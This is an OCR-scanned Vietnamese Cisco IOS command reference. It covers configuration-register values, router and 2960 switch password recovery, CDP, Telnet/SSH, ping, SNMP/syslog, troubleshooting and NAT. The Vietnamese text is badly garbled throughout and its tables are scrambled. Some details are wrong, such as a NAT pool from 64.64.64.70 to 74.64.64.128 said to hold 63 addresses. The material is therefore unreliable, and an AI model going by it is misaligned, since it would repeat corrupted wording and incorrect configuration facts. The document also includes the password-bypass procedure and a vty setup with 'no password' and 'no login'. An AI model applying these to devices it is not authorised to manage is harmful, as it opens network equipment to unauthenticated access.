2. Gia tri clia cac bit

Bit Number Hexadecimal Meaning

00-03 0x0000-0x000F Boot field.

06 0x0040 Bé qua ndi dung cula
NVRAM.

07 0x0080 Bit OEM da dudc enable.

08 0x0100 Break bi disable.

09 0x0200 Sé la nguyén nhan hé

théng s dung bootstrap
thor 2. (thong thudng
khong dugc st dung.)

10 0x0400 IP broadcast véi tat ca déu
la bit 0.
5,11, 12 0x0020, 0x0800, T8¢ do cla Console line.
0x1000
13 0x2000 Boot mac dinh tlr phan

mém trong ROM néu qua
trinh boot tir mang bi 15i.
14 0x4000 IP broadcasts khéng co

net numbers.

15 0x8000 Cho phép hién thi théng
diép diagnostic va bo qua
noi dung clla NVRAM.

3. Boot Field
Boot Field Mo ta
00 Khi & ch& d6 ROM Monitor ban cé thé khéi ddng lai hodc
tat ngudn.
01 Khdi dong Cisco I0S tlr bo nhd flash.
02-F Cho phép mac dinh khdgi dong Cisco I0S tir bé nhd flash.
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Cho phép cau lénh boot system sé dudc ghi de |én
default booting tur bé nhd flash.

4. Cau hinh Console terminal baud rate

Baud Bit 5 Bit 12 Bit 11
115200
57600
38400
19200
9600
4800
2400
1200

O O O O H| | =
| = O O] O O K| K~
= = = O O = O

5. Thay d6i console line speed: CLI

router#configure terminal Chuyén cdu hinh vao ché dé Global

Configuration.

router(config)#line console 0 Chuyén cau hinh vao ché& dd line console.
router(config-line)#speed 19200 Thay ddi téc dd cua port console thanh
19200

* Chd y : Phan mém Cisco 10S khéng cho phép ban thay ddi téc do cla line console mot

cach truc tiép vdi cau Iénh : config-register

6. Thay ddi console line speed: ch& d& ROM Monitor

rommon1l>confreg Hién thi cdu hinh mét cadch tdng quat.
Ban sé lam tirng budc théng qua nhiing
cau hoi, va ban sé trd I8i mac dinh cho
dén khi ban cé thé thay d6i gid tri
console baud rate. Ban sé Ilua chon thay
dGi thanh gia tri 115200; V4&i gia tri nay
thi qua trinh truyén dir liéu sé€ nhanh
hon.

Configuration Summary

enabled are:

load rom after netboot fails

console baud: 9600

boot: image specified by the boot system
commands

or default to: x (name of system image)
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do you wish to change the configuration?
y/n [n]:y

enable “diagonstic mode”? y/n [n]: n
enable “use net in IP bcast address”? y/n
[n]: n

disable “load rom after netboot fails"?
y/n [n]: n

enable “use all zero broadcast”? y/n [n]:
n

enable “break/abort has effect”? y/n [n]:
n

enable “ignore system config info”? y/n
[n]: n

change console baud rate? y/n [n]: y
enter rate: 0=9600, 1=4800, 2=1200,
3=2400

4=19200, 5=38400, 6=57600,
7=115200

[0]: 7

Configuration Summary

enabled are:

load rom after netboot fails

console baud: 115200

boot: image specified by the boot system
commands

or default to: x (name of system image)

change the boot characteristics? y/n [n]: | Sau khi man hinh hién thi téng quat dugc
n xudt hinh moét [An nifa, ban c6 thé Iua
chon n d& khéng thay ddi cdu hinh va

chuyén dén d&u nhdc rommon>

rommon2>

* Cha y: Ban phai chdc chdn réng sau khi ban thay ddi tdc dd cua line console, thi ban ciing
phai thay ddi chudng trinh terminal d& cho phép tucng thich vé téc dd gilta may tinh va

router.

II. Cac thu tuc thuc hién Khdi phuc mét khdu cho Cisco Router

Cac budc thuc hién Cac cau Iénh trén Router Cac cau Iénh trén Router
2500 1700/2600/ISR
Budc 1 : Khdi dong Nhé&n Ctrl - Break Nh&n Ctrl - Break
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router va ngat chudi qua
trinh khdi déng dung t6
hgp phim

Rommon 1 >

Budc 2 : Thay ddi gia tri

configuration register dé

> o0/r 0x2142

Rommon 1 > confreg
0x2142

bo qua ndi dung cua > Rommon 2>
NVRAM
Budc 3 : Khai dong lai > i Rommon 2 > Reset

router.

Budc 4 : Chuyén ciu
hinh vao ché do
Privileged. (Khéng dudc

vao ché do setup)

Router> enable

Router> enable

Router#

Router#

Budc 5 : Copy file
startup configuration
vao trong file running

configuration.

Router# copy startup-

config running-config

Router# copy startup-

config running-config

...<output cut>...

...<output cut>...

Denver#

Denver#

Budc 6: Thay déi méat
khé&u

Denver# configure

terminal

Denver# configure

terminal

Denver(config)# enable

Denver(config)# enable

Budc 7: Khdi tao lai gia
tri Configuration
Register vé gia tri mac
dinh.

secret new secret new
Denver(config)# Denver(config)#
Denver(config)#configregi | Denver(config)#configre
ster gister

0x2102 0x2102

Denver(config)# Denver(config)#

Budc 8: Luu file cdu
hinh lai

Denver(config) #exit

Denver(config) #exit

Denver#copy
runningconfig

startup-config

Denver#copy
runningconfig

startup-config

Denver#

Denver#

Budc 9: Kiém tra gia tri
Configuration Register.

Denver#show version

Denver#show version

...<output cut>...

..<output cut>...

Configuration register
is 0x2142 (will be
0x2102 at next reload)

Configuration register
is 0x2142 (will be
0x2102 at next reload)

Denver#

Denver#

Budc 10: Khgi dong lai

router.

Denver#reload

Denver#reload
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III. Cac thu tuc thuc hién khdi phuc mat kh&u cho switch 2960

Rut ngudn ra khéi switch (thao tac nay
dé khai ddng lai switch)

Nhan va gilt nut Mode & phia trudc cla

switch.

Cam ngudn trd lai switch.

Nha nut Mode trén switch ra khi dén
SYST LED la mau vang va sau dé chuyén
sang mau xanh. Khi ban nha nat Mode
trén switch thi dén SYST LED sé & trang

thai mau xanh.

Ti€p tuc ban sé sir dung nhirng cau Iénh

dudi day:

switch: flash_init Khéi tao bo nhd flash

switch: load_helper

switch: dir flash: Hién thi ndi dung cua bd nhd flash.
switch: rename flash:config.text Thuc hién d6i tén cla file cdu hinh. Vi file

flash:config.old

céu hinh config.text cé chra méat kh&u.

switch: boot

Khdi dong lai switch

Khi c6 ddu nhac xuét hién hoi ban co
mudn vao ché do setup khong, ban nhan

n dé thoat khoi ddu nhic dé.

Ban sé& chuyén vao ché& do user

switch>enable

Chuyén cdu hinh vao ché& dé user

switch#rename flash:config.old
flash:config.text

Péi lai tén cla file cdu hinh tré vé tén

mac dinh.

Destination filename [config.text]

Nh&n Enter

switch#copy flash:config.text

system:running-config

Copy file cdu hinh trong bo nhdé flash

768 bytes copied in 0.624 seconds

2960Switch#

File cau hinh dudc thuc thi

2960Switch#configure terminal

Chuyén cdu hinh vao ché dé privileged

2960Switch(config)#

Ban cé thé thuc hién thay d6i méat khau

né€u can thiét

2900Switch(config) #exit

2900Switch#copy running-config

startupconfig

Luu file cdu hinh dang chay vao NVRAM

v8i méat khdu mdi d3 dugc ciu hinh.
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Chuong 15: Giao thi’c CDP

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh co lién quan dén nhirng chu dé

sau:
- Giao thurc Cisco Discovery Protocol (CDP)

I. Giao thic CDP

Router#show cdp

Hién thi théng tin cta CDP nhu cac tham
sO thdi gian.

Router#show cdp neighbors

Hién thi théng tin vé cac thiét bi hang

xom.

Router#show cdp neighbors detail

Hién thi thong tin chi tiét vé cac thiét bi

hang xém.

Router#show cdp entry word

Hién thi thdng tin vé dinh danh céc thiét
bi.

Router#show cdp entry *

Hién thi thdng tin v& tat ca cac thiét bij.

Router#show cdp interface

Hién thi thong tin vé tdt cd nhing
interface dang chay giao thirc CDP.

Router#show cdp interface x

Hién thji thdng tin vé mét interface nao
do6 dugc chi ra dang chay giao thic CDP.

Router#show cdp traffic

Hién thj théng tin vé cac luu lugng dugc
di va dén.

Router(config)#cdp holdtime x

Thay d&i thdi gian ma cac géi tin CDP
dugc qgilr lai.

Router(config)#cdp timer x

Thay déi th&i gian cdc gdi tin CDP dugc
cap nhat.

Router(config)#cdp run

Cho phép giao thirc CDP dudc chay trén

tat ca cac interface (mac dinh).

Router(config)#no cdp run

T&t giao thic CDP chay trén cac interface
cua thiét bi.

Router(config-if)#cdp enable

Cho phép giao thirc CDP dudc chay trén

mot interface dudgc chi ra.

Router(config-if)#no cdp enable

Tat giao thirc CDP trén interface dugc chi

ra.

Router#clear cdp counters

Khai tao lai bd dém luu lugng dir liéu tré

vé 0

Router#clear cdp table

Xo6a bang CDP.

Router#debug cdp adjacency

Giam sat cac thong tin CDP vé cac thiét

bi hang xém.

Router#debug cdp events

Giam sat tat ca cac su kién cla giao thic

123




CDP.
Router#debug cdp ip Giam sat cac su kién cua CDP dudgc chi ra
cho giao thirc IP.

Router#debug cdp packets Giam sat cac thong tin cia CDP cé lién

quan dén cac gai tin.

* Chu y: Mac du giao thic CDP rat can thiét cho nhirng i'ng dung quan ly, nhung giao thirc
nay van sé bi disabled trong mét s& trudng hgp sau:
- Disbale giao thirc CDP & ché& do global néu:
+ NEu giao thic nay khong can thiét cho tat ca cac interface.
+ Thiét bi dugc dat trong mot moi trudng khong bao mat.
- SUr dung céu 1énh no cdp run dé disable giao thirc CDP & ché dd global:
RouterOrSwitch(config)# no cdp run
- Disable giao th{rc CDP trén mot vai interface néu:
+ Tinh nang quan ly khéng can thiét phai thuc thi.
+ Interface cla switch la interface hoat dong & trang thai khong phai trunk.
+ Interface dang két néi truc ti€p dén mot mang khong tin cay.
- SU dung cdu Iénh trong ché& dé cdu hinh interface” no cdp enable dé disable giao thic
CDP trén mot interface:
RouterOrSwitch(config) #interface fastethernet 0/1
RouterOrSwitch(config-if)#no cdp enable

Chuong 16: Telnet va SSH

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh co lién quan dén nhirng chu dé
sau:

- SUr dung giao thirc Telnet dé€ két ndi tir xa dén nhirng thiét bi khac.

- Cau hinh giao thic SSH.

I. S dung giao thic Telnet d€ két ndi tir xa dén nhitng thiét bi khac
- 5 cau Iénh biéu dién trong bang bén dudi déu dua ra cing mot két qua: thuc thi viéc két

nGi tU xa dén mot router tén la Paris c6 dia chi IP la: 172.16.20.1.

Denver>telnet paris bugc phép dung cau lénh nay néu cau
lénh ip host da dudc s dung dé€ tao lién
két anh xa gita dia chi IP va tUr khoa

paris.

Denver>telnet 172.16.20.1

Denver>paris bugc phép nhap cau lénh nay néu cau
I[énh ip host dudc sir dung port mac dinh
#.
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Denver>connect paris

Denver>172.16.20.1

- Nhitng cau lénh trong bang sau sé co lién

bang giao thic telnet:

quan dén qua trinh thuc hién truy céap tu

Xa

Paris>

Paris>exit K&t thic phién telnet va tréd vé d&du nhac
cua router Denver.

Denver>

Paris>logout

Ké&t thuc phién telnet va trd vé ddu nhac

cta router Denver.

Denver>

Paris> Nhan Ctrl + Shift + 6, sau do

nha cac phim dé ra, va nhan tié€p x

Ngat phién telnet tam th&i nhung khéng
két thac phién telnet d4, va ban cé thé

trd vé d&u nhac cua router Denver

Denver>

Denver> Nhan Enter

Paris>

Denver>resume

Phuc hoi lai két nGi dén router Paris.

Paris>

Denver>disconnect paris

Két thlc phién telnet dén router Paris

Denver>

Denver#show sessions

Hién thi nhitng két néi ma ban dd md

dén cac router khac.

Denver#show users

Hién thi nhitng ngudi dang két ndi tir xa

dén router cua ban.

Denver#clear line x

Két thdc phién truy cap tUr xa dang két

nGi dén router clia ban trén line x.

Denver(config)#line vty 0 4

Chuyén c&u hinh vao ché dd line vty 0 4

Denver(config-line) #session-limit x

Gidi han s6 lugng két nGi dong thgi trén

mot line vty vao router cua ban.

Denver(config)#line vty 0 4

Chuyén cu hinh vao ché db line vty 0 4

Denver(config-line)#no password

Cac ngudi dung truy cap tur xa sé khéng
phai yéu cdu nhdp méat khdu khi thuc

hién telnet dén thiét bi.

Denver(config-line)#no login

Ngudi dung truy cap tor xa sé& dugc

chuyén thdng vao ché& dé user.

* Cha y: Mot thiét bi s& phai cé hai mat khdu cho mdt ngudi dung truy cap tir xa dé cé thé

thuc hién dugc viéc thay d6i cdu hinh trén thiét bi dang truy cap dé:

- M4t kh&u cula line vty .
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- Mat kh&u enable ho3c enable secret.

Néu khéng cé méat khdu enable hodc enable secret, thi mét ngudi dung truy cdp tir xa sé
duy nhéat chi cé kha ndng thuc thi trén thiét bi 8 ché dd user, khong thé truy cép vao ché do
Privileged.

II. Cau hinh giao thirc SSH

* Chay:

- SSH version 1 khi dugc trién khai s& cé d& bdo mat khdng cao. Vi vdy ban nén s dung
SSH version 2 bat c& khi nao ban quyét dinh sr dung giao thifc SSH cho viéc truy cap tur xa
dén thiét bi.

- D& lam viéc dudc, SSH can moét local username database, moét local IP domain, va mot
RSA key sé can dudc tao.

- D& cb thé trién khai dudgc giao thirc SSH trén cac thiét bi cla cisco thi phdn mém Cisco
I0S phai cé kha ndng hd trg Rivest-Shamir-Adleman (RSA) dé xac thuc va Data Encryption
Stadard (DES) d€ ma héa dir liéu.

Router(config)#username Roland Tao mot username va password local.
password tower Nhitng théng tin nay sé can phai dugc
nhap vao khi két néi tir xa dén thiét bi
bang giao thic SSH.

Router(config) #ip domain-name Tao mét host domain cho router.

test.lab

Router(config)#crypto key Bat SSH server cho local va remote xac
generate rsa thuc trén router va dua ra mot RSA key.

Chuong 17: Cac cau lénh Ping va Traceroute

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh cd lién quan dén nhitng cha dé
sau:

- Thong diép ICMP redirect

- Cau lénh Ping

- Vi du vé cau Iénh Ping va cac cau lénh Ping md réng

- Cau lénh Traceroute

1. Thong diép ICMP Redirect

Router(config-if)#no ip redirects Tat tinh nang ICMP redirects tir mot

interface dugc chi ra.

Router(config-if)#ip redirects Bat lai tinh ndng ICMP redirects tor mot
interface dugc chi ra.
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2. Cau lénh Ping

Router#ping w.x.y.z Kiém tra két ndi ctia Layer 3 véi thiét bj
c6 dia chi IP la w.x.y.z

Router#ping Vao ché dd ping ma réng, ban sé dudc

cung cap nhitng tuy chon.

Bang sau s& mé ta nhitng kha ndng ma cau 1énh ping sé& hién thi.

Ky tu Mo ta
! Nhén thanh cong nhitng géi tin tra vé.
Thiét bi bao timed out trong khi trd nhan

vé mot két qua tra veé.

u bich khéng cé kha nang két néi dén va

cac théng diép 16i ctia PDU da dudc nhan.

Q Pich qua ban khéng thé tra I8i dudc gdi
tin yéu cau tra IGi tir cau Iénh ping.

M Gai tin khdng thé phan manh.

? Khéng xac dinh dudc loai gadi tin.

& Thdi gian sGng cua goi tin da hét.

3. Vi du st dung cau Iénh ping va cac cau lénh ping md rong

Router#ping 172.168.20.1 Tién hanh kiém tra théng tin két néi cla
Layer 3 cho moét thiét bi dich bang dia chi
IP.

Router#ping paris Chic nang giobng cadu Iénh trén nhung

théng qua IP host name.

Router#ping Chuyén ché& d6 cdu hinh vao ché& dé ping
mé& rdng: ban cé thé thay ddi cdc tham

s6 cho cau lénh ping kiém tra.

Protocol [ip]: nhan Enter Thuc hién nhé&n Enter cho viéc s dung
ping IP.

Target IP address: 172.16.20.1 Nhép dia chi IP clia dich ma ban mudn
kiém tra.

Repeat count [5]: 100 Nhap s6 géi tin yéu cau ma ban muon

glri. Mac dinh la 5 goi.
Datagram size [100]: nhan Enter Nh&n Enter d& s dung kich thudc cla

goi tin mac dinh la 100.

Timeout in Seconds [2]: nhan Enter Nh&n Enter d&€ s dung thdi gian
timeoute delay gui gilta cac echo

requests la mac dinh.
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Extended commands [n]: yes

Nh&n yes dé& cho phép ban cdu hinh cac

cau lénh mé rong.

Source address or interface: 10.0.10.1

Nhép vao dia chi IP cla ngudén ma ban

mudn ping di.

Type of Service [0]

Cho phép ban cdu hinh trugng TOS trong
IP header.

Set DF bit in IP header [no]

Cho phép ban cé thé ciu hinh bit DF
trong IP header.

Validate reply data? [no]

Cho phép ban cdu hinh kha nang kiém

tra dif liéu.

Data Pattern [OXABCD]

Cho phép ban thay déi data pattern trong
trudng data clda goi tin ICMP echo

request.

Loose, Strict, Record, Timestamp,

Verbose[none]: 3
Sweep range of sizes [no]: 3 Type

escape sequence to abort Sending
100, 100-byte ICMP Echos to

172.16.20.1, timeout is 2 seconds:
TREREERRRRER R et e e e e e reernnen

Success rate is 100 percent (100/100)
roundtrip

min/avg/max = 1/1/4 ms

4. Cau lénh Traceroute

Router# traceroute 172.168.20.1

Xac dinh dudng di cla goéi tin sé di
chuyén dén dich c6 dia chi IP Ia
172.168.20.1.

Router# traceroute paris

Cau lénh nay cdé y nghia tucdng tu nhu
cau lénh trén nhung thay vi dung IP ban
c6 thé s dung IP host name.

Router# trace 172.16.20.1

Trace = traceroute.
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Chuong 18: SNMP va Syslog

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh cd lién quan dén nhitng cha dé
sau:

- Cau hinh SNMP
- Cau hinh Syslog

1. Cau hinh SNMP

Router(config) #snmp-server

community academy ro

Cau hinh gid tri community string la

academy vdi quyén read-only (ro)

Router(config) #snmp-server

community academy rw

Cdu hinh gia tri community string la

academy vdi quyén read-write (rw)

Router(config) #snmp-server location
2nd Floor IDF

Dinh nghia mot chudi SNMP dé md ta vi
tri vat ly cia SNMP server.

Router(config) #snmp-server contact
Scott Empson 555-5236

Dinh nghia mdt SNMP string d& mé ta

théng tin cua ngudi lién lac.

2. C4u hinh Syslog

* Chu y: mot community string giong nhu mot password. Trong trudng hgp cla cau Iénh

d4au tién, thi community string s& cho phép ban cé thé truy cdp bang SNMP.

Router(config)#logging on

Bat tinh nang logging trén tat ca cac dich

c6 ho trg.

Router(config)#logging 192.168.10.53

Céc thong diép logging sé dudc gui dén
mot syslog server véi dia chi IP la

192.168.10.53.

Router(config)#logging sysadmin

Cac thong diép Logging sé dudc gui dén

mot syslog server cé tén la sysadmin.

Router(config) #logging trap x

Cau hinh syslog server logging level vdéi
giad tri 1a x, Trong dé x la mot gia tri

nguyén nam trong khoang tir 0 dén 7

Router(config) #service timestamps

log datetime

Cac thong diép Syslog sé bao gom ca

timestamp.

Bang sau sé mo ta 8 cdp do cua cac thong diép logging:

0 Emergencies System is unusable

1 Alerts Immediate action needed
2 Critical Critical conditions

3 Errors Error conditions

4 Warnings Warning conditions
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Notifications

Normal but significant conditions

6 Informational

Informational messages (default level)

Debugging

Debugging messages

Chuong 19: Cd ban vé xu ly 16i

Chuadng nay sé cung cap nhitng théng tin va cac cau Iénh c¢6 lién quan dén nhitng chu dé

sau:
- Hién thi bang dinh tuyén

- Xac dinh default gateway

- Xac dinh thong tin dinh tuyén cap nhat cudi cung

- Kiém tra két néi Layer 3

- Kiém tra két néi Layer 7

- Phan tich két quéa clia cau Iénh Show Interface

- X6a bd dém trén interface

- St dung giao thitc CDP dé x( ly 16i
- Cau lénh Traceroute

- Cau lénh show controllers

- Cac cau lénh debug

- SUr dung time stamps

- Céc cu lénh kiém tra su hoat dong clia hé théng IP

- Cau lénh ip http server
- Cau lénh netstat

1. Hién thi bang dinh tuyén

Router# show ip route

Hién thj toan bd bang dinh tuyén.

Router# show ip route protocol

IGRP)

Hién thi bang dinh tuyén cla mot giao
thdc dugc chi ra (Vi du nhu: RIP hoac

Router# show ip route w.x.y.z

Hién thi thdng tin vé dudng w.x.y.z

Router# show ip route connected

truc ti€p dén thiét bi.

Hién thi bang cla cic dudng di két néi

Router# show ip route static

Hién thi bang dinh tuyén cla giao thirc
Static.

Router# show ip route summary

Hién thi théng tin téng quat cla tat ca
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cac dudng di

2. Xac dinh default gateway

Router(config) #ip default-network

W.X.Y.Z

Cau hinh mang w.x.y.z la default route.
Tat ca cac dudng di khéng cé trong bang
dinh tuyén sé dudc gui ra dudng default

route nay.

Router(config)#ip route 0.0.0.0
0.0.0.0 172.16.20.1

Chi ra tat ca cac route khong cé trong
bang dinh tuyén sé dudc gui dén

172.16.20.1

* Chu y : Cau lénh ip default-network dugc sir dung vai nhitng giao thifc déc quyén cua

Cisco nhu Interior gateway Routing Protocol (IGRP). M3c du ban cé thé si dung céu Iénh dé
vGi cac giao thic khac nhu EIGRP hodc RIP, nhung ban khéng nén s dung. Ban cd thé si
dung cdu Iénh ip route 0.0.0.0 0.0.0.0 dé thay thé.

3. Xac dinh thong tin dinh tuyén cap nhat cudi cung

Router# show ip route

Hién thj toan bd bang dinh tuyén.

Router# show ip route w.x.y.z

Hién thi thdng tin vé mang w.x.y.z

Router# show ip protocols

Hién thi céc tham s6 va trang théi cua
giao thurc dinh tuyén IP

Router# show ip rip database

Hién thi co sd di liéu cua giao thic dinh
tuyén RIP dugc xay dung trén router.

4. Kiém tra két ndi Layer 3

Router#ping w.x.y.z

Kiém tra k&t ndi Layer 3 dén thiét bi co

dia chi IP la w.x.y.z

Router#ping

Chuyén c8u hinh vao ch& dbé ping md
rong, trong ché dé nay ban sé dudc cung
c&p nhiéu tuy chon dé cd thé lua chon.

5. Kiém tra két néi Layer 7

Router#debug telnet

Hién thi tién trinh thuong Iugng cla giao
thic telnet.

6. Phan tich két qua cua cau lénh Show Interface

Router#show interface serial 0/0/0

Hién thi trang thai cua interface s0/0/0

Serial 0/0/0 is up, line protocol
is up

Phan dau tién la trang thai cha vat ly,

phan th hai la trang thai logical.

...<output cut>...
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Possible output results:

Serial 0/0/0 is up, line protocol Interface dang up va dang hoat dong
is up binh thudng.

Serial 0/0/0 is up, line protocol Keepalive hoac két ndi cé van dé (khong
is down ciu hinh clock rate, encapsulation 16i)
Serial 0/0/0 is down, line protocol Interface dang cé van dé, hoac thiét bi
is down dang két ndi thong qua interface nay

chua dudc cau hinh.

Serial 0/0/0 is administratively Interface dang bi disable — shut down

down, line protocol is down

7. X6a b0 dém trén interface

Router#clear counters Khai tao lai b0 dém clha tat cad cac

interface trd vé 0.

Router#clear counters interface Khai tao lai bd dém cua interface dudgc

type/slot chi ra trg vé 0.

8. St dung giao thirc CDP dé xur ly 16i

* Chu y: cac ban cé thé xem lai cc cdu 1énh trong chuong 19.

9. Cau lénh Traceroute

Router#traceroute w.x.y.z Hién thi tdt ca cac dudng di dén mang
dich c6 dia chi IP la w.x.y.z

* Cha y : Cac ban c6 thé xem lai chugng 20 dé tim hiéu vé cac ciu lénh c6 lién quan dén

traceroute.

10. Cau Iénh show controllers

Router#show controllers serial Hién thi cdc loai cdp dudc gdn vao
0/0/0 interface serial (DCE hoac DTE), gia tri
cla clock rate s& hién thi, néu nhu gia tri
dd dugc cau hinh.

11. Cac cau lénh Debug

Router#debug all Bat tinh nang debug trén thiét bi.

Router#u all Tat tinh nang debug trén thiét bi.
(short form of undebug all)

Router#show debug Hién thi nhitng cdu lénh debug cé khd
nang thuc hién trén thiét bi.
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Router#terminal monitor Cac thong tin debug sé& hién thi théng
qua phién telnet (theo mac dinh thi
nhitng thong tin debug chi cé kha nang
hién thi duy nh&t théng qua man hinh

console).
12. S&r dung Time Stamps

Router(config) #service timestamps Gan thém thgi gian vao tat cad cac thong
diép logging.

Router(config) #service timestamps Gan thém thoéng tin thdi gian dén tat ca

Debug cac thong diép debugging.

Router(config) #service timestamps Gan thém tham s6 thdi gian ma router

debug uptime da khoi dong vao cac thong diép
debugging.

Router(config) #service timestamps Gan thém tham s6 thdi gian dé hién thi

debug datetime localtime thdi gian cuc bd va ngay thang cho tat ca
cac thong diép debugging.

Router(config)#no service Tat tinh nang time stamps.

timestamps

13. Cac clu Iénh kiém tra su hoat ddng cla hé théng IP
- Nhitng cdu Iénh sau ban c6 thé sir dung dé kiém tra cac thdng s6 cai dat dia chi IP cua
ban & nhitng hé diéu hanh khac nhau.
- ipconfig (Windows 2000/XP):
Click Start > Run > Command > ipconfig hodc ipconfig/all

- winipcfg (Windows 95/98/Me)
Click Start > Run > winipcfg

- ifconfig (MAC/Linux):
# ifconfig

14. Cau Iénh ip http server

Router(config) #ip http server Bat tinh nang HTTP server, khi d6 cac
ban cé thé quan ly thiét bj théng qua
giao dién Web.

Router(config-if)#no ip http Disable tinh nang HTTP server.

server
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15. Cau Iénh Netstat

C\>netstat S{r dung trong cac hé diéu hanh nhu
Windows hodc Unix/Linux dé& hién thj két

nGi TCP/IP va cac thong tin vé giao thirc;
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Phan VII: QUAN LY DICH VU IP

Chuadng 20: Network Address Translation (NAT)
Chuong 21: DHCP
Chuong 22: Ipv6

Chuong 20: Network Address Translation (NAT)

Chuong nay sé cung cap nhitng thong tin va cac cau Iénh co lién quan dén nhirng chu dé
sau:

- Dia chi IP Private: RFC 1918

- C&u hinh NAT dbng: Mét dia chi IP Private chuyé&n déi sang mot dia chi IP Public

- C&u hinh Port Address Translation (PAT): Nhiéu dia chi IP Private dugc chuyén d&i sang
mot dia chi IP Public

- C4u hinh Static NAT: Mt dia chi IP Private dudc chuyén ddi c6 dinh sang mét dia chi IP
Public

- Kiém tra cdu hinh NAT va PAT

- X ly 16i v&i c&du hinh NAT va PAT

- Cau hinh vi du: PAT

1. Dia chi IP Private: RFC 1918

- Bang bén dudi sé& hién thi danh sach dai dia chi dugc chi dinh trong cuén RFC 1918 dudc
st dung bdi cac quan tri mang nhu mot dia chi IP Private. Nhitng dia chi IP nay sé la nhitng
dia chi dudc gan cho céc thiét bi ndm trong mang LAN va dudgc chuyén d6i thanh dia chi IP
Public d€ cé thé dudc dinh tuyén trén Internet. R&t nhiéu mang c6 thé dudgc cho phép dé sir
dung nhiing dia chi IP nay; tuy nhién, nhitng dia chi nay khong dugc phép dinh tuyén trén

Internet.
Private Addresses
Class RFC 1918 Internal Address CIDR Prefix
Range
A 10.0.0.0-10.255.255.255 10.0.0.0/8
B 172.16.0.0-172.31.255.255 172.16.0.0/12
C 192.168.0.0-192.168.255.255 192.168.0.0/16

2. C&u hinh NAT ddng: Mét dia chi IP Private chuyén d&i sang mét dia chi IP Public

* Chl y: P& hoan thanh viéc cdu hinh NAT/PAT véi su trg gilp cua so dd bén dudi, cac ban

c6 thé& nhin vao vi du don gian & cudi chuaong nay.
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Step 1: Dinh nghia mot

static route trén mot
router remote, & do dia chi
IP Public clia ban d& dudgc

dinh tuyén

ISP(config)#ip route
64.64.64.64
255.255.255.128
s0/0/0

Théng bdo cho router cua
ISP, ndi ma ban sé gui cac
goi tin vdi dia chi dich la
64.64.64.64
255.255.255.128.

Step 2: Dinh nghia mot
dai dia chi IP Public sé
dugc s dung trén router
clia ban dé thuc thi NAT

Dia chi IP Private sé nhan
dia chi IP Public dau tién
cua dai da dudc ban dinh

nghia dé chuyén dai.

Corp(config)#ip nat pool
scott 64.64.64.70
64.64.64.126 netmask
255.255.255.128

Dinh nghia tén cho dai dia
chi IP Public la scott.

Dia chi IP dau tién cua dai
do la: 64.64.64.70.

Dia chi IP cubi cung cua
dai dé la: 64.64.64.126
Subnet mask cua dai dé
la: 255.255.255.128.

Step 3: Tao mot ACL sé
dugc dung d&€ cho phép
nhirng dia chi IP Private
nao sé& dugc phép chuyén
daéi.

Corp(config) #access-list
1 permit 172.16.10.0
0.0.0.255

Step 4 : Tao mGi quan hé
gitra ACL vdéi dai dia chi IP
Public da tao Step 2.

Corp(config)#ip nat
inside

source list 1 pool scott

Step 5: Dinh nghia céac
interface dong vai tro la
(s€ la

interface inside

nhirng interface két ndi

vao mang LAN)

Router(config) #interface
fastethernet 0/0

Chuyé&n cdu hinh vao ché
do Interface fa0/0

Router(config-if) #ip nat

inside

Ban c6 thé cé nhiéu haon
mot interface inside trén
mot router. Nhitng dia chi
cta mobi mét interface
inside sau dé ciling sé dugc
chuyén d6i thanh dia chi

IP Public.

Router(config-if) # exit

Trd vé ché do cau hinh

Global Configuration.

Step 6:
interface vdi

binh nghia ra

vai tro la

Router(config) #interface
serial 0/0/0
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interface outside (interface
s& dudc dung dé dé két

Router(config-if) #ip nat
outside

néi ra  ngoai
Interface hodac WAN)

mang

3. C4u hinh PAT : Nhiéu dia chi IP Private dudc chuyén d6i sang mét dia chi IP Public
- Tat ca cac dia chi IP Private sé sir dung duy nhat mét dia chi IP Public va cac chi s6 port

s& dugc dung cho qua trinh chuyén dai.

Step 1: Dinh nghia mot

static route trén mot
router remote, ¢ do dia chi
IP Public clia ban da dugc

dinh tuyén

ISP(config) #ip route
64.64.64.64
255.255.255.128
s0/0/0

Thong bao cho router cua
ISP, ngi ma ban sé gui cac
goi tin véi dia chi dich la
64.64.64.64
255.255.255.128.

Step 2: Dinh nghia moét
dai dia chi IP Public sé
dudc s dung trén router
clia ban @& thuc thi NAT

S dung budc nay néu ban
c6 nhiéu dia chi IP Private
dé chuyén dgi. Mot dia chi
IP Public c6 thé diéu khién
dia chi 1IP
Khong s dung

hang ngan
Private.
moét dai dia chi, ban cé thé
chuyén ddi tat ca cac dia
chi IP Private thanh mot
dia chi IP da ton tai trén
interface dudc dung dé két
noi dén ISP.

Corp(config)#ip nat pool
scott 64.64.64.70
64.64.64.70 netmask
255.255.255.128

Dinh nghia tén cho dai dia
chi IP Public la scott.

Dia chi IP dau tién cua dai
doé la: 64.64.64.70

bia chi IP cubi cung cua
dai dé la: 64.64.64.70
Subnet mask cua dai do
la: 255.255.255.128.

Step 3: Tao moét ACL sé
dugc dung d€ cho phép
nhitng dia chi IP Private
nao sé dugc phép chuyén

doi.

Corp(config)#access-list
1 permit 172.16.10.0
0.0.0.255

Step 4 : Tao maéi quan hé
gilra ACL véi dai dia chi IP

Corp(config)#ip nat

inside
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Public da tao Step 2 source list 1 pool scott

Step 5: Dinh nghia cac | Router(config)#interface | Chuyén c8u hinh vao ché

interface dong vai tro la| fastethernet 0/0 do Interface fa0/0

interface inside (s& la | Router(config-if)#ip nat Ban cé thé cé nhiéu hon
nhitng interface két nGi| inside mot interface inside trén
vao mang LAN) mot router. Nhitng dia chi

cta modi mét interface
inside sau do ciling sé dugc
chuyén d6i thanh dia chi
IP Public.

Router(config-if) # exit Tréd vé ché d6 cau hinh

Global Configuration.

Step 6 : Dinh nghia ra | Router(config)#interface
interface v@i vai tro la| serial 0/0/0

interface outside (interface| Router(config-if)#ip nat
s& dudc dung dé€ dé két| outside

néi ra ngoai mang
Interface hoac WAN)

* ChU y: ban c6 thé cé mot dai IP NAT nhiéu hon moét dia chi IP, néu can thiét. Cau Iénh
bén dudi cé thé 1a mét vi du:
Corp(config)#ip nat pool scott 64.64.64.70 74.64.64.128 netmask
255.255.255.128
- VGi dai dia chi IP trén ban c6 tt ca la 63 dia chi IP cé thé dugc sir dung dé chuyén déi.

4. C4u hinh Static NAT: Mot dia chi IP Private dugc chuy&n déi c6 dinh sang moét dia chi IP
Public

Step 1: Dinh nghia moét | ISP(config)#ip route Thong bao cho router cua

